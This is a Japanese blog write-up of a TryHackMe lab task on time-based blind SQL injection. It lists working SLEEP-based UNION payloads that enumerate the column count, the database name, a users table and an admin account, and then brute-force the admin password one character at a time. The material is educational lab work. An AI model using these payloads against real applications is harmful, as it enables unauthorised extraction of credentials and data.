TryHackMe: SQL Injection Writeup

TryHackMeのSQL Injection のwriteup。

個人的にメモっといた方が良いなと感じたポイントだけ、まとめておく。

Task 8: Blind SQLi- Time Based

Time Based Blind SQLiとはSQLインジェクションの一種で、クエリに対するアプリケーションからの応答時間に基づいて、インジェクションが成功したか否かを判断する攻撃手法である。

Time Based Blind SQLiにはSLEEP()を用いる。

例えば、脆弱なアプリケーションに対して、テーブル内のカラムの数を確認したい場合は、以下のクエリを使用する。

' UNION SELECT SLEEP(5),2;--

上記のクエリに対して、アプリケーションから直ちに応答があった場合は、SQLインジェクションが失敗したことを意味する。

上記のクエリに対して、5秒後に応答があった場合は、SQLインジェクションが成功したことを意味し、テーブルに保有されているカラムの数は2個であると判断できる。

Task 8では、Time Based Blind SQLi攻撃を行って、ユーザー名とパスワードを窃取し、webアプリケーションへとログインしなければならない。

以下は、攻撃対象のURLである。

https://website.thm/analytics?referrer=<SQLi payload goes here>

referrerパラメータに細工したSQLクエリを付与して攻撃を行う。

まずは以下のクエリを使用して、データベースの名前を総当たりしてみた。

referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'a%';--

上記のクエリはデータベースの1文字目がaから始まるか確認する。
5秒後にアプリケーションから応答があった場合は、データベースの1文字目はaだと判断できる。
アプリケーションから直ちに応答があった場合はデータベースの1文字目はa以外と判断できるので、a%b%に書き換えて再度クエリを送る。このクエリも失敗したら、b%c%に書き換えて、再度クエリを送り、それも失敗したらd%に書き換えて。。。と言った具合にデータベース名を総当たりしていく。

総当たりの結果、デーベース名の先頭4文字はsqliと判明した。

referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 's%';--
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'sq%';--
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'sql%';--
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli%';--

直前のTaskでsqli_threeというデータベース名を目にしていたので、今回はsqli_fourなのでは?と思いつき、以下のクエリを送ってみた。

referrer=admin123' UNION SELECT SLEEP(5),2 from information_schema.tables WHERE table_schema='sqli_four';--

上記のクエリはsqli_fourという名前のデータベースが存在するか確認する。5秒後にアプリケーションから応答があったため、データベース名はsqli_fourと判明した。

続いて、sqli_fourデータベースに保有されているテーブル名を割り出してみた。

決め打ちでusersというテーブル名があるか確認してみた。

referrer=admin123' UNION SELECT SLEEP(5),2 from information_schema.tables WHERE table_schema='sqli_four' and TABLE_NAME='users' ;--

5秒後にアプリケーションから応答があったため、usersというテーブルが存在することが確認できた。

あとはusersテーブルからログインに必要なユーザー名とパスワードを抜き取るだけである。

決め打ちでadminというユーザー名が存在するか確認してみた。

referrer=admin123' UNION SELECT SLEEP(5),2 from users where username='admin' ;--

5秒後にアプリケーションから応答があったため、usersテーブルにadminというユーザーが存在することが確認できた。

最後に、adminのパスワードを総当たりしてみた。

referrer=admin123' UNION SELECT SLEEP(5),2 from users where username='admin' and password like '4%' ;--
referrer=admin123' UNION SELECT SLEEP(5),2 from users where username='admin' and password like '49%' ;--
referrer=admin123' UNION SELECT SLEEP(5),2 from users where username='admin' and password like '496%' ;--
referrer=admin123' UNION SELECT SLEEP(5),2 from users where username='admin' and password like '4961%' ;--

adminのパスワードは4961と判明した。

窃取したユーザー名とパスワードを使用して、アプリケーションにログインしたところ、フラグを取れた。

Leave a Reply

Your email address will not be published. Required fields are marked *